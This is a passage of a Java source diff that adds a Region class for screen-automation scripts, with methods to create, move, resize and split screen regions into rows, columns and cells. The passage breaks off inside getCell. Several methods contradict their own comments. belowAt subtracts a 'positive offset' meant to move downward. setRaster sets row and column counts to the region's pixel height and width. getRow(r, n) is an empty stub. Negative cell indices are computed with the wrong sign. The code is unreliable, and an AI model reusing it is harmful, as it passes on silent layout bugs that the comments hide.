+   * Create a region from another region<br>including the region's settings
+   *
+   * @param r the region
+   * @return then new region
+   */
+  public static Region create(Region r) {
+    Region reg = Region.create(r.x, r.y, r.w, r.h, r.getScreen());
+    reg.autoWaitTimeout = r.autoWaitTimeout;
+    reg.findFailedResponse = r.findFailedResponse;
+    reg.throwException = r.throwException;
+    return reg;
+  }
+
+  /**
+   * create a region with the given point as center and the given size
+   *
+   * @param loc the center point
+   * @param w the width
+   * @param h the height
+   * @return the new region
+   */
+  public static Region grow(Location loc, int w, int h) {
+    int X = loc.x - (int) w / 2;
+    int Y = loc.y - (int) h / 2;
+    return Region.create(X, Y, w, h, loc.getScreen());
+  }
+
+  /**
+   * create a minimal region at given point with size 1 x 1
+   *
+   * @param loc the point
+   * @return the new region
+   */
+  public static Region grow(Location loc) {
+    return Region.create(loc.x, loc.y, 1, 1, loc.getScreen());
+  }
+
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="handle coordinates">
+  /**
+   * check if current region contains given point
+   *
+   * @param point Point
+   * @return true/false
+   */
+  public boolean contains(Location point) {
+    return getRect().contains(point.x, point.y);
+  }
+
+  /**
+   * check if mouse pointer is inside current region
+   *
+   * @return true/false
+   */
+  public boolean containsMouse() {
+    return contains(Mouse.at());
+  }
+
+  /**
+   * new region with same offset to current screen's top left on given screen
+   *
+   * @param scrID number of screen
+   * @return new region
+   */
+  public Region copyTo(int scrID) {
+    return copyTo(Screen.getScreen(scrID));
+  }
+
+  /**
+   * new region with same offset to current screen's top left on given screen
+   *
+   * @param screen new parent screen
+   * @return new region
+   */
+  public Region copyTo(IScreen screen) {
+    Location o = new Location(getScreen().getBounds().getLocation());
+    Location n = new Location(screen.getBounds().getLocation());
+    return Region.create(n.x + x - o.x, n.y + y - o.y, w, h, screen);
+  }
+
+  /**
+   * used in Observer.callChangeObserving, Finder.next to adjust region relative coordinates of matches to
+ screen coordinates
+   *
+   * @param m
+   * @return the modified match
+   */
+  protected Match toGlobalCoord(Match m) {
+    m.x += x;
+    m.y += y;
+    return m;
+  }
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="handle Settings">
+	//TODO should be possible to reset to current global value resetXXX()
+	/**
+   * true - (initial setting) should throw exception FindFailed if findX unsuccessful in this region<br> false - do not
+   * abort script on FindFailed (might leed to null pointer exceptions later)
+   *
+   * @param flag true/false
+   */
+  public void setThrowException(boolean flag) {
+    throwException = flag;
+    if (throwException) {
+      findFailedResponse = FindFailedResponse.ABORT;
+    } else {
+      findFailedResponse = FindFailedResponse.SKIP;
+    }
+  }
+
+  /**
+   * current setting for this region (see setThrowException)
+   *
+   * @return true/false
+   */
+  public boolean getThrowException() {
+    return throwException;
+  }
+
+  /**
+   * the time in seconds a find operation should wait for the appearence of the target in this region<br> initial value
+   * is the global AutoWaitTimeout setting at time of Region creation
+   *
+   * @param sec seconds
+   */
+  public void setAutoWaitTimeout(double sec) {
+    autoWaitTimeout = sec;
+  }
+
+  /**
+   * current setting for this region (see setAutoWaitTimeout)
+   *
+   * @return value of seconds
+   */
+  public double getAutoWaitTimeout() {
+    return autoWaitTimeout;
+  }
+
+  /**
+   * FindFailedResponse.<br> ABORT - (initial value) abort script on FindFailed (= setThrowException(true) )<br> SKIP -
+   * ignore FindFailed (same as setThrowException(false) )<br>
+   * PROMPT - display prompt on FindFailed to let user decide how to proceed<br> RETRY - continue to wait for appearence
+   * on FindFailed (caution: endless loop)
+   *
+   * @param response the FindFailedResponse
+   */
+  public void setFindFailedResponse(FindFailedResponse response) {
+    findFailedResponse = response;
+  }
+
+  /**
+   *
+   * @return the current setting (see setFindFailedResponse)
+   */
+  public FindFailedResponse getFindFailedResponse() {
+    return findFailedResponse;
+  }
+
+  /**
+   *
+   * @return the regions current WaitScanRate
+   */
+  public float getWaitScanRate() {
+    return waitScanRate;
+  }
+
+  /**
+   * set the regions individual WaitScanRate
+   *
+   * @param waitScanRate decimal number
+   */
+  public void setWaitScanRate(float waitScanRate) {
+    this.waitScanRate = waitScanRate;
+  }
+
+  /**
+   *
+   * @return the regions current ObserveScanRate
+   */
+  public float getObserveScanRate() {
+    return observeScanRate;
+  }
+
+  /**
+   * set the regions individual ObserveScanRate
+   *
+   * @param observeScanRate decimal number
+   */
+  public void setObserveScanRate(float observeScanRate) {
+    this.observeScanRate = observeScanRate;
+  }
+
+  /**
+   * INTERNAL USE: Observe
+   * @return the regions current RepeatWaitTime time in seconds
+   */
+  public int getRepeatWaitTime() {
+    return repeatWaitTime;
+  }
+
+  /**
+   * INTERNAL USE: Observe
+   * set the regions individual WaitForVanish
+   *
+   * @param time in seconds
+   */
+  public void setRepeatWaitTime(int time) {
+    repeatWaitTime = time;
+  }
+
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="getters / setters / modificators">
+  /**
+   *
+   * @return the Screen object containing the region
+   */
+  public IScreen getScreen() {
+    return scr;
+  }
+
+  // to avoid NPE for Regions being outside any screen
+  private IRobot getRobotForRegion() {
+    if (getScreen() == null || isScreenUnion) {
+      return Screen.getPrimaryScreen().getRobot();
+    }
+    return getScreen().getRobot(); 
+  }
+
+  /**
+   *
+   * @return the screen, that contains the top left corner of the region. Returns primary screen if outside of any
+   * screen.
+   * @deprecated Only for compatibility, to get the screen containing this region, use {@link #getScreen()}
+   */
+  @Deprecated
+  public IScreen getScreenContaining() {
+    return getScreen();
+  }
+
+  /**
+   * Sets a new Screen for this region.
+   *
+   * @param scr the containing screen object
+	 * @return the region itself
+   */
+  protected Region setScreen(IScreen scr) {
+    initScreen(scr);
+    return this;
+  }
+
+  /**
+   * Sets a new Screen for this region.
+   *
+   * @param id the containing screen object's id
+	 * @return the region itself
+   */
+  protected Region setScreen(int id) {
+    return setScreen(Screen.getScreen(id));
+  }
+
+  /**
+   * synonym for showMonitors
+   */
+  public void showScreens() {
+    Screen.showMonitors();
+  }
+
+  /**
+   * synonym for resetMonitors
+   */
+  public void resetScreens() {
+    Screen.resetMonitors();
+  }
+
+  // ************************************************
+  /**
+   *
+   * @return the center pixel location of the region
+   */
+  public Location getCenter() {
+    return checkAndSetRemote(new Location(getX() + getW() / 2, getY() + getH() / 2));
+  }
+
+  /**
+   * convenience method
+   *
+   * @return the region's center
+   */
+  public Location getTarget() {
+    return getCenter();
+  }
+
+  /**
+   * Moves the region to the area, whose center is the given location
+   *
+   * @param loc the location which is the new center of the region
+   * @return the region itself
+   */
+  public Region setCenter(Location loc) {
+    Location c = getCenter();
+    x = x - c.x + loc.x;
+    y = y - c.y + loc.y;
+    initScreen(loc.getScreen());
+    return this;
+  }
+
+  /**
+   *
+   * @return top left corner Location
+   */
+  public Location getTopLeft() {
+    return checkAndSetRemote(new Location(x, y));
+  }
+
+  /**
+   * Moves the region to the area, whose top left corner is the given location
+   *
+   * @param loc the location which is the new top left point of the region
+   * @return the region itself
+   */
+  public Region setTopLeft(Location loc) {
+    return setLocation(loc);
+  }
+
+  /**
+   *
+   * @return top right corner Location
+   */
+  public Location getTopRight() {
+    return checkAndSetRemote(new Location(x + w - 1, y));
+  }
+
+  /**
+   * Moves the region to the area, whose top right corner is the given location
+   *
+   * @param loc the location which is the new top right point of the region
+   * @return the region itself
+   */
+  public Region setTopRight(Location loc) {
+    Location c = getTopRight();
+    x = x - c.x + loc.x;
+    y = y - c.y + loc.y;
+    initScreen(getScreen());
+    return this;
+  }
+
+  /**
+   *
+   * @return bottom left corner Location
+   */
+  public Location getBottomLeft() {
+    return checkAndSetRemote(new Location(x, y + h - 1));
+  }
+
+  /**
+   * Moves the region to the area, whose bottom left corner is the given location
+   *
+   * @param loc the location which is the new bottom left point of the region
+   * @return the region itself
+   */
+  public Region setBottomLeft(Location loc) {
+    Location c = getBottomLeft();
+    x = x - c.x + loc.x;
+    y = y - c.y + loc.y;
+    initScreen(getScreen());
+    return this;
+  }
+
+  /**
+   *
+   * @return bottom right corner Location
+   */
+  public Location getBottomRight() {
+    return checkAndSetRemote(new Location(x + w - 1, y + h - 1));
+  }
+
+  /**
+   * Moves the region to the area, whose bottom right corner is the given location
+   *
+   * @param loc the location which is the new bottom right point of the region
+   * @return the region itself
+   */
+  public Region setBottomRight(Location loc) {
+    Location c = getBottomRight();
+    x = x - c.x + loc.x;
+    y = y - c.y + loc.y;
+    initScreen(null);
+    return this;
+  }
+
+  // ************************************************
+  /**
+   *
+   * @return x of top left corner
+   */
+  public int getX() {
+    return x;
+  }
+
+  /**
+   *
+   * @return y of top left corner
+   */
+  public int getY() {
+    return y;
+  }
+
+  /**
+   *
+   * @return width of region
+   */
+  public int getW() {
+    return w;
+  }
+
+  /**
+   *
+   * @return height of region
+   */
+  public int getH() {
+    return h;
+  }
+
+  /**
+   *
+   * @param X new x position of top left corner
+   */
+  public void setX(int X) {
+    x = X;
+    initScreen(scr);
+  }
+
+  /**
+   *
+   * @param Y new y position of top left corner
+   */
+  public void setY(int Y) {
+    y = Y;
+    initScreen(scr);
+  }
+
+  /**
+   *
+   * @param W new width
+   */
+  public void setW(int W) {
+    w = W > 1 ? W : 1;
+    initScreen(scr);
+  }
+
+  /**
+   *
+   * @param H new height
+   */
+  public void setH(int H) {
+    h = H > 1 ? H : 1;
+    initScreen(scr);
+  }
+
+  // ************************************************
+  /**
+   *
+   * @param W new width
+   * @param H new height
+   * @return the region itself
+   */
+  public Region setSize(int W, int H) {
+    w = W > 1 ? W : 1;
+    h = H > 1 ? H : 1;
+    initScreen(scr);
+    return this;
+  }
+
+  /**
+   *
+   * @return the AWT Rectangle of the region
+   */
+  public Rectangle getRect() {
+    return new Rectangle(x, y, w, h);
+  }
+
+  /**
+   * set the regions position/size<br>this might move the region even to another screen
+   *
+   * @param r the AWT Rectangle to use for position/size
+   * @return the region itself
+   */
+  public Region setRect(Rectangle r) {
+    return setRect(r.x, r.y, r.width, r.height);
+  }
+
+  /**
+   * set the regions position/size<br>this might move the region even to another screen
+   *
+   * @param X new x of top left corner
+   * @param Y new y of top left corner
+   * @param W new width
+   * @param H new height
+   * @return the region itself
+   */
+  public Region setRect(int X, int Y, int W, int H) {
+    x = X;
+    y = Y;
+    w = W > 1 ? W : 1;
+    h = H > 1 ? H : 1;
+    initScreen(getScreen());
+    return this;
+  }
+
+  /**
+   * set the regions position/size<br>this might move the region even to another screen
+   *
+   * @param r the region to use for position/size
+   * @return the region itself
+   */
+  public Region setRect(Region r) {
+    return setRect(r.x, r.y, r.w, r.h);
+  }
+
+  // ****************************************************
+
+/**
+   * resets this region (usually a Screen object) to the coordinates of the containing screen
+   *
+   * Because of the wanted side effect for the containing screen, this should only be used with screen objects.
+   * For Region objects use setRect() instead.
+   */
+  public void setROI() {
+    setROI(getScreen().getBounds());
+  }
+
+  /**
+   * resets this region to the given location, and size <br> this might move the region even to another screen
+   *
+   * <br>Because of the wanted side effect for the containing screen, this should only be used with screen objects.
+	 * <br>For Region objects use setRect() instead.
+   *
+   * @param X new x
+   * @param Y new y
+   * @param W new width
+   * @param H new height
+   */
+  public void setROI(int X, int Y, int W, int H) {
+    x = X;
+    y = Y;
+    w = W > 1 ? W : 1;
+    h = H > 1 ? H : 1;
+    initScreen(getScreen());
+  }
+
+  /**
+   * resets this region to the given rectangle <br> this might move the region even to another screen
+   *
+   * <br>Because of the wanted side effect for the containing screen, this should only be used with screen objects.
+	 * <br>For Region objects use setRect() instead.
+   *
+   * @param r AWT Rectangle
+   */
+  public void setROI(Rectangle r) {
+    setROI(r.x, r.y, r.width, r.height);
+  }
+
+  /**
+   * resets this region to the given region <br> this might move the region even to another screen
+   *
+   * <br>Because of the wanted side effect for the containing screen, this should only be used with screen objects.
+	 * <br>For Region objects use setRect() instead.
+   *
+   * @param reg Region
+   */
+  public void setROI(Region reg) {
+    setROI(reg.getX(), reg.getY(), reg.getW(), reg.getH());
+  }
+
+  /**
+   * A function only for backward compatibility - Only makes sense with Screen objects
+   *
+   * @return the Region being the current ROI of the containing Screen
+   */
+  public Region getROI() {
+    return new Region(getScreen().getRect());
+  }
+
+  // ****************************************************
+  /**
+   *
+   * @return the region itself
+   * @deprecated only for backward compatibility
+   */
+  @Deprecated
+  public Region inside() {
+    return this;
+  }
+
+  /**
+   * set the regions position<br>this might move the region even to another screen
+   *
+   * @param loc new top left corner
+   * @return the region itself
+   * @deprecated to be like AWT Rectangle API use setLocation()
+   */
+  @Deprecated
+  public Region moveTo(Location loc) {
+    return setLocation(loc);
+  }
+
+  /**
+   * set the regions position<br>this might move the region even to another screen
+   *
+   * @param loc new top left corner
+   * @return the region itself
+   */
+  public Region setLocation(Location loc) {
+    x = loc.x;
+    y = loc.y;
+    initScreen(scr);
+    return this;
+  }
+
+  /**
+   * set the regions position/size<br>this might move the region even to another screen
+   *
+   * @param r Region
+   * @return the region itself
+   * @deprecated to be like AWT Rectangle API use setRect() instead
+   */
+  @Deprecated
+  public Region morphTo(Region r) {
+    return setRect(r);
+  }
+
+  /**
+   * resize the region using the given padding values<br>might be negative
+   *
+   * @param l padding on left side
+   * @param r padding on right side
+   * @param t padding at top side
+   * @param b padding at bottom side
+   * @return the region itself
+   */
+  public Region add(int l, int r, int t, int b) {
+    x = x - l;
+    y = y - t;
+    w = w + l + r;
+    if (w < 1) {
+      w = 1;
+    }
+    h = h + t + b;
+    if (h < 1) {
+      h = 1;
+    }
+    initScreen(getScreen());
+    return this;
+  }
+
+  /**
+   * extend the region, so it contains the given region<br>but only the part inside the current screen
+   *
+   * @param r the region to include
+   * @return the region itself
+   */
+  public Region add(Region r) {
+    Rectangle rect = getRect();
+    rect.add(r.getRect());
+    setRect(rect);
+    initScreen(getScreen());
+    return this;
+  }
+
+  /**
+   * extend the region, so it contains the given point<br>but only the part inside the current screen
+   *
+   * @param loc the point to include
+   * @return the region itself
+   */
+  public Region add(Location loc) {
+    Rectangle rect = getRect();
+    rect.add(loc.x, loc.y);
+    setRect(rect);
+    initScreen(getScreen());
+    return this;
+  }
+
+  // ************************************************
+  /**
+   * a find operation saves its match on success in the used region object<br>unchanged if not successful
+   *
+   * @return the Match object from last successful find in this region
+   */
+  public Match getLastMatch() {
+    return lastMatch;
+  }
+
+  // ************************************************
+  /**
+   * a searchAll operation saves its matches on success in the used region object<br>unchanged if not successful
+   *
+   * @return a Match-Iterator of matches from last successful searchAll in this region
+   */
+  public Iterator<Match> getLastMatches() {
+    return lastMatches;
+  }
+
+  // ************************************************
+  /**
+   * get the last image taken on this regions screen
+   *
+   * @return the stored ScreenImage
+   */
+  public ScreenImage getLastScreenImage() {
+    return getScreen().getLastScreenImageFromScreen();
+  }
+
+  /**
+   * stores the lastScreenImage in the current bundle path with a created unique name
+   *
+   * @return the absolute file name
+	 * @throws java.io.IOException if not possible
+   */
+  public String getLastScreenImageFile() throws IOException {
+    return getScreen().getLastScreenImageFile(ImagePath.getBundlePath(), null);
+  }
+
+  /**
+   * stores the lastScreenImage in the current bundle path with the given name
+   *
+   * @param name file name (.png is added if not there)
+   * @return the absolute file name
+	 * @throws java.io.IOException if not possible
+   */
+  public String getLastScreenImageFile(String name) throws IOException {
+    return getScreen().getLastScreenImageFromScreen().getFile(ImagePath.getBundlePath(), name);
+  }
+
+  /**
+   * stores the lastScreenImage in the given path with the given name
+   *
+	 * @param path path to use
+   * @param name file name (.png is added if not there)
+   * @return the absolute file name
+	 * @throws java.io.IOException if not possible
+   */
+  public String getLastScreenImageFile(String path, String name) throws IOException {
+    return getScreen().getLastScreenImageFromScreen().getFile(path, name);
+  }
+
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="spatial operators - new regions">
+  /**
+   * check if current region contains given region
+   *
+   * @param region the other Region
+   * @return true/false
+   */
+  public boolean contains(Region region) {
+    return getRect().contains(region.getRect());
+  }
+
+  /**
+   * create region with same size at top left corner offset
+   *
+   * @param loc use its x and y to set the offset
+   * @return the new region
+   */
+  public Region offset(Location loc) {
+    return Region.create(x + loc.x, y + loc.y, w, h, scr);
+  }
+
+  /**
+   * create region with same size at top left corner offset
+   *
+   * @param x horizontal offset
+   * @param y vertical offset
+   * @return the new region
+   */
+  public Region offset(int x, int y) {
+    return Region.create(this.x + x, this.y + y, w, h, scr);
+  }
+
+  /**
+   * create a region enlarged Settings.DefaultPadding pixels on each side
+   *
+   * @return the new region
+   * @deprecated to be like AWT Rectangle API use grow() instead
+   */
+  @Deprecated
+  public Region nearby() {
+    return grow(Settings.DefaultPadding, Settings.DefaultPadding);
+  }
+
+  /**
+   * create a region enlarged range pixels on each side
+   *
+   * @param range the margin to be added around
+   * @return the new region
+   * @deprecated to be like AWT Rectangle API use grow() instaed
+   */
+  @Deprecated
+  public Region nearby(int range) {
+    return grow(range, range);
+  }
+
+  /**
+   * create a region enlarged n pixels on each side (n = Settings.DefaultPadding = 50 default)
+   *
+   * @return the new region
+   */
+  public Region grow() {
+    return grow(Settings.DefaultPadding, Settings.DefaultPadding);
+  }
+
+  /**
+   * create a region enlarged range pixels on each side
+   *
+   * @param range the margin to be added around
+   * @return the new region
+   */
+  public Region grow(int range) {
+    return grow(range, range);
+  }
+
+  /**
+   * create a region enlarged w pixels on left and right side
+   * and h pixels at top and bottom
+   *
+   * @param w pixels horizontally
+   * @param h pixels vertically
+   * @return the new region
+   */
+  public Region grow(int w, int h) {
+    Rectangle r = getRect();
+    r.grow(w, h);
+    return Region.create(r.x, r.y, r.width, r.height, scr);
+  }
+
+  /**
+   * create a region enlarged l pixels on left and r pixels right side
+   * and t pixels at top side and b pixels a bottom side.
+   * negative values go inside (shrink)
+   *
+   * @param l add to the left
+   * @param r add to right
+   * @param t add above
+   * @param b add beneath
+   * @return the new region
+   */
+  public Region grow(int l, int r, int t, int b) {
+    return Region.create(x - l, y - t, w + l + r, h + t + b, scr);
+  }
+
+  /**
+   * point middle on right edge
+   * @return point middle on right edge
+   */
+  public Location rightAt() {
+    return rightAt(0);
+  }
+
+  /**
+   * positive offset goes to the right.
+   * might be off current screen
+   *
+	 * @param offset pixels
+   * @return point with given offset horizontally to middle point on right edge
+   */
+  public Location rightAt(int offset) {
+    return checkAndSetRemote(new Location(x + w + offset, y + h / 2));
+  }
+
+  /**
+   * create a region right of the right side with same height.
+   * the new region extends to the right screen border<br>
+   * use grow() to include the current region
+   *
+   * @return the new region
+   */
+  public Region right() {
+    int distToRightScreenBorder = getScreen().getX() + getScreen().getW() - (getX() + getW());
+    return right(distToRightScreenBorder);
+  }
+
+  /**
+   * create a region right of the right side with same height and given width.
+   * negative width creates the right part with width inside the region<br>
+   * use grow() to include the current region
+   *
+   * @param width pixels
+   * @return the new region
+   */
+  public Region right(int width) {
+    int _x;
+    if (width < 0) {
+      _x = x + w + width;
+    } else {
+      _x = x + w;
+    }
+    return Region.create(_x, y, Math.abs(width), h, scr);
+  }
+
+  /**
+   *
+   * @return point middle on left edge
+   */
+  public Location leftAt() {
+    return leftAt(0);
+  }
+
+  /**
+   * negative offset goes to the left <br>might be off current screen
+   *
+	 * @param offset pixels
+   * @return point with given offset horizontally to middle point on left edge
+   */
+  public Location leftAt(int offset) {
+    return checkAndSetRemote(new Location(x + offset, y + h / 2));
+  }
+
+  /**
+   * create a region left of the left side with same height<br> the new region extends to the left screen border<br> use
+   * grow() to include the current region
+   *
+   * @return the new region
+   */
+  public Region left() {
+    int distToLeftScreenBorder = getX() - getScreen().getX();
+    return left(distToLeftScreenBorder);
+  }
+
+  /**
+   * create a region left of the left side with same height and given width<br>
+   * negative width creates the left part with width inside the region use grow() to include the current region <br>
+   *
+   * @param width pixels
+   * @return the new region
+   */
+  public Region left(int width) {
+    int _x;
+    if (width < 0) {
+      _x = x;
+    } else {
+      _x = x - width;
+    }
+    return Region.create(getScreen().getBounds().intersection(new Rectangle(_x, y, Math.abs(width), h)), scr);
+  }
+
+  /**
+   *
+   * @return point middle on top edge
+   */
+  public Location aboveAt() {
+    return aboveAt(0);
+  }
+
+  /**
+   * negative offset goes towards top of screen <br>might be off current screen
+   *
+	 * @param offset pixels
+   * @return point with given offset vertically to middle point on top edge
+   */
+  public Location aboveAt(int offset) {
+    return checkAndSetRemote(new Location(x + w / 2, y + offset));
+  }
+
+  /**
+   * create a region above the top side with same width<br> the new region extends to the top screen border<br> use
+   * grow() to include the current region
+   *
+   * @return the new region
+   */
+  public Region above() {
+    int distToAboveScreenBorder = getY() - getScreen().getY();
+    return above(distToAboveScreenBorder);
+  }
+
+  /**
+   * create a region above the top side with same width and given height<br>
+   * negative height creates the top part with height inside the region use grow() to include the current region
+   *
+   * @param height pixels
+   * @return the new region
+   */
+  public Region above(int height) {
+    int _y;
+    if (height < 0) {
+      _y = y;
+    } else {
+      _y = y - height;
+    }
+    return Region.create(getScreen().getBounds().intersection(new Rectangle(x, _y, w, Math.abs(height))), scr);
+  }
+
+  /**
+   *
+   * @return point middle on bottom edge
+   */
+  public Location belowAt() {
+    return belowAt(0);
+  }
+
+  /**
+   * positive offset goes towards bottom of screen <br>might be off current screen
+   *
+	 * @param offset pixels
+   * @return point with given offset vertically to middle point on bottom edge
+   */
+  public Location belowAt(int offset) {
+    return checkAndSetRemote(new Location(x + w / 2, y + h - offset));
+  }
+
+  /**
+   * create a region below the bottom side with same width<br> the new region extends to the bottom screen border<br>
+   * use grow() to include the current region
+   *
+   * @return the new region
+   */
+  public Region below() {
+    int distToBelowScreenBorder = getScreen().getY() + getScreen().getH() - (getY() + getH());
+    return below(distToBelowScreenBorder);
+  }
+
+  /**
+   * create a region below the bottom side with same width and given height<br>
+   * negative height creates the bottom part with height inside the region use grow() to include the current region
+   *
+   * @param height pixels
+   * @return the new region
+   */
+  public Region below(int height) {
+    int _y;
+    if (height < 0) {
+      _y = y + h + height;
+    } else {
+      _y = y + h;
+    }
+    return Region.create(x, _y, w, Math.abs(height), scr);
+  }
+
+  /**
+   * create a new region containing both regions
+   *
+   * @param ur region to unite with
+   * @return the new region
+   */
+  public Region union(Region ur) {
+    Rectangle r = getRect().union(ur.getRect());
+    return Region.create(r.x, r.y, r.width, r.height, scr);
+  }
+
+  /**
+   * create a region that is the intersection of the given regions
+   *
+   * @param ir the region to intersect with like AWT Rectangle API
+   * @return the new region
+   */
+  public Region intersection(Region ir) {
+    Rectangle r = getRect().intersection(ir.getRect());
+    return Region.create(r.x, r.y, r.width, r.height, scr);
+  }
+
+  //</editor-fold>
+
+  //<editor-fold defaultstate="collapsed" desc="parts of a Region">
+	/**
+	 * select the specified part of the region.
+	 *
+	 * <br>Constants for the top parts of a region (Usage: Region.CONSTANT)<br>
+	 * shown in brackets: possible shortcuts for the part constant<br>
+	 * NORTH (NH, TH) - upper half <br>
+	 * NORTH_WEST (NW, TL) - left third in upper third <br>
+	 * NORTH_MID (NM, TM) - middle third in upper third <br>
+	 * NORTH_EAST (NE, TR) - right third in upper third <br>
+	 * ... similar for the other directions: <br>
+	 * right side: EAST (Ex, Rx)<br>
+	 * bottom part: SOUTH (Sx, Bx) <br>
+	 * left side: WEST (Wx, Lx)<br>
+	 * <br>
+	 * specials for quartered:<br>
+	 * TT top left quarter<br>
+	 * RR top right quarter<br>
+	 * BB bottom right quarter<br>
+	 * LL bottom left quarter<br>
+	 * <br>
+	 * specials for the center parts:<br>
+	 * MID_VERTICAL (MV, CV) half of width vertically centered <br>
+	 * MID_HORIZONTAL (MH, CH) half of height horizontally centered <br>
+	 * MID_BIG (M2, C2) half of width / half of height centered <br>
+	 * MID_THIRD (MM, CC) third of width / third of height centered <br>
+	 * <br>
+	 * Based on the scheme behind these constants there is another possible usage:<br>
+	 * specify part as e 3 digit integer
+	 * where the digits xyz have the following meaning<br>
+	 * 1st x: use a raster of x rows and x columns<br>
+	 * 2nd y: the row number of the wanted cell<br>
+	 * 3rd z: the column number of the wanted cell<br>
+	 * y and z are counting from 0<br>
+	 * valid numbers: 200 up to 999 (&lt; 200 are invalid and return the region itself) <br>
+	 * example: get(522) will use a raster of 5 rows and 5 columns and return the cell in the middle<br>
+	 * special cases:<br>
+	 * if either y or z are == or &gt; x: returns the respective row or column<br>
+	 * example: get(525) will use a raster of 5 rows and 5 columns and return the row in the middle<br>
+	 * <br>
+	 * internally this is based on {@link #setRaster(int, int) setRaster}
+	 * and {@link #getCell(int, int) getCell} <br>
+	 * <br>
+	 * If you need only one row in one column with x rows or
+	 * only one column in one row with x columns you can use {@link #getRow(int, int) getRow} or {@link #getCol(int, int) getCol}
+	 * @param part the part to get (Region.PART long or short)
+	 * @return new region
+	 */
+	public Region get(int part) {
+		return Region.create(getRectangle(getRect(), part));
+	}
+
+	protected static Rectangle getRectangle(Rectangle rect, int part) {
+		if (part < 200 || part > 999) {
+			return rect;
+		}
+		Region r = Region.create(rect);
+		int pTyp = (int) (part / 100);
+		int pPos = part - pTyp * 100;
+		int pRow = (int) (pPos / 10);
+		int pCol = pPos - pRow * 10;
+		r.setRaster(pTyp, pTyp);
+		if (pTyp == 3) {
+			// NW = 300, NORTH_WEST = NW;
+			// NM = 301, NORTH_MID = NM;
+			// NE = 302, NORTH_EAST = NE;
+			// EM = 312, EAST_MID = EM;
+			// SE = 322, SOUTH_EAST = SE;
+			// SM = 321, SOUTH_MID = SM;
+			// SW = 320, SOUTH_WEST = SW;
+			// WM = 310, WEST_MID = WM;
+			// MM = 311, MIDDLE = MM, M3 = MM;
+			return r.getCell(pRow, pCol).getRect();
+		}
+		if (pTyp == 2) {
+			// NH = 202, NORTH = NH;
+			// EH = 221, EAST = EH;
+			// SH = 212, SOUTH = SH;
+			// WH = 220, WEST = WH;
+			if (pRow > 1) {
+				return r.getCol(pCol).getRect();
+			} else if (pCol > 1) {
+				return r.getRow(pRow).getRect();
+			}
+			return r.getCell(pRow, pCol).getRect();
+		}
+		if (pTyp == 4) {
+			// MV = 441, MID_VERTICAL = MV;
+			// MH = 414, MID_HORIZONTAL = MH;
+			// M2 = 444, MIDDLE_BIG = M2;
+			if (pRow > 3) {
+				if (pCol > 3 ) {
+					return r.getCell(1, 1).union(r.getCell(2, 2)).getRect();
+				}
+				return r.getCell(0, 1).union(r.getCell(3, 2)).getRect();
+			} else if (pCol > 3) {
+				return r.getCell(1, 0).union(r.getCell(2, 3)).getRect();
+			}
+			return r.getCell(pRow, pCol).getRect();
+		}
+		return rect;
+	}
+
+	/**
+	 * store info: this region is divided vertically into n even rows <br>
+	 * a preparation for using getRow()
+	 *
+	 * @param n number of rows
+	 * @return the top row
+	 */
+	public Region setRows(int n) {
+		return setRaster(n, 0);
+	}
+
+	/**
+	 * store info: this region is divided horizontally into n even columns <br>
+	 * a preparation for using getCol()
+	 *
+	 * @param n number of columns
+	 * @return the leftmost column
+	 */
+	public Region setCols(int n) {
+		return setRaster(0, n);
+	}
+
+	/**
+	 *
+	 * @return the number of rows or null
+	 */
+	public int getRows() {
+		return rows;
+	}
+
+	/**
+	 *
+	 * @return the row height or 0
+	 */
+	public int getRowH() {
+		return rowH;
+	}
+
+	/**
+	 *
+	 * @return the number of columns or 0
+	 */
+	public int getCols() {
+		return cols;
+	}
+
+	/**
+	 *
+	 * @return the columnwidth or 0
+	 */
+	public int getColW() {
+		return colW;
+	}
+
+	/**
+	 * Can be used to check, wether the Region currently has a valid raster
+	 * @return true if it has a valid raster (either getCols or getRows or both would return &gt; 0)
+	 * false otherwise
+	 */
+	public boolean isRasterValid() {
+		return (rows > 0 || cols > 0);
+	}
+
+	/**
+	 * store info: this region is divided into a raster of even cells <br>
+	 * a preparation for using getCell()<br>
+	 * @param r number of rows
+	 * @param c number of columns
+	 * @return the topleft cell
+	 */
+	public Region setRaster(int r, int c) {
+		rows = Math.max(r, h);
+		cols = Math.max(c, w);
+		if (r > 0) {
+			rowH = (int) (h / r);
+			rowHd = h - r * rowH;
+		}
+		if (c > 0) {
+			colW = (int) (w / c);
+			colWd = w - c * colW;
+		}
+		return getCell(0, 0);
+	}
+
+	/**
+	 * get the specified row counting from 0, if rows or raster are setup negative counts reverse from the end (last = -1)
+	 * values outside range are 0 or last respectively
+	 *
+	 * @param r row number
+	 * @return the row as new region or the region itself, if no rows are setup
+	 */
+	public Region getRow(int r) {
+		if (rows == 0) {
+			return this;
+		}
+		if (r < 0) {
+			r = rows + r;
+		}
+		r = Math.max(0, r);
+		r = Math.min(r, rows - 1);
+		return Region.create(x, y + r * rowH, w, rowH);
+	}
+
+	public Region getRow(int r, int n) {
+		return this;
+	}
+
+	/**
+	 * get the specified column counting from 0, if columns or raster are setup negative counts reverse from the end (last
+	 * = -1) values outside range are 0 or last respectively
+	 *
+	 * @param c column number
+	 * @return the column as new region or the region itself, if no columns are setup
+	 */
+	public Region getCol(int c) {
+		if (cols == 0) {
+			return this;
+		}
+		if (c < 0) {
+			c = cols + c;
+		}
+		c = Math.max(0, c);
+		c = Math.min(c, cols - 1);
+		return Region.create(x + c * colW, y, colW, h);
+	}
+
+	/**
+	 * divide the region in n columns and select column c as new Region
+	 * @param c the column to select counting from 0 or negative to count from the end
+	 * @param n how many columns to devide in
+	 * @return the selected part or the region itself, if parameters are invalid
+	 */
+	public Region getCol(int c, int n) {
+		Region r = new Region(this);
+		r.setCols(n);
+		return r.getCol(c);
+	}
+
+
+	/**
+	 * get the specified cell counting from (0, 0), if a raster is setup <br>
+	 * negative counts reverse from the end (last = -1) values outside range are 0 or last respectively
+	 *
+	 * @param r row number
+	 * @param c column number
+	 * @return the cell as new region or the region itself, if no raster is setup
+	 */
+	public Region getCell(int r, int c) {
+		if (rows == 0) {
+			return getCol(c);
+		}
+		if (cols == 0) {
+			return getRow(r);
+		}
+		if (rows == 0 && cols == 0) {
+			return this;
+		}
+		if (r < 0) {
+			r = rows - r;
+		}
+		if (c < 0) {
+			c = cols - c;
+		}
+		r = Math.max(0, r);
+		r = Math.min(r, rows - 1);
+		c = Math.max(0, c);
+		c = Math.min(c, cols - 1);
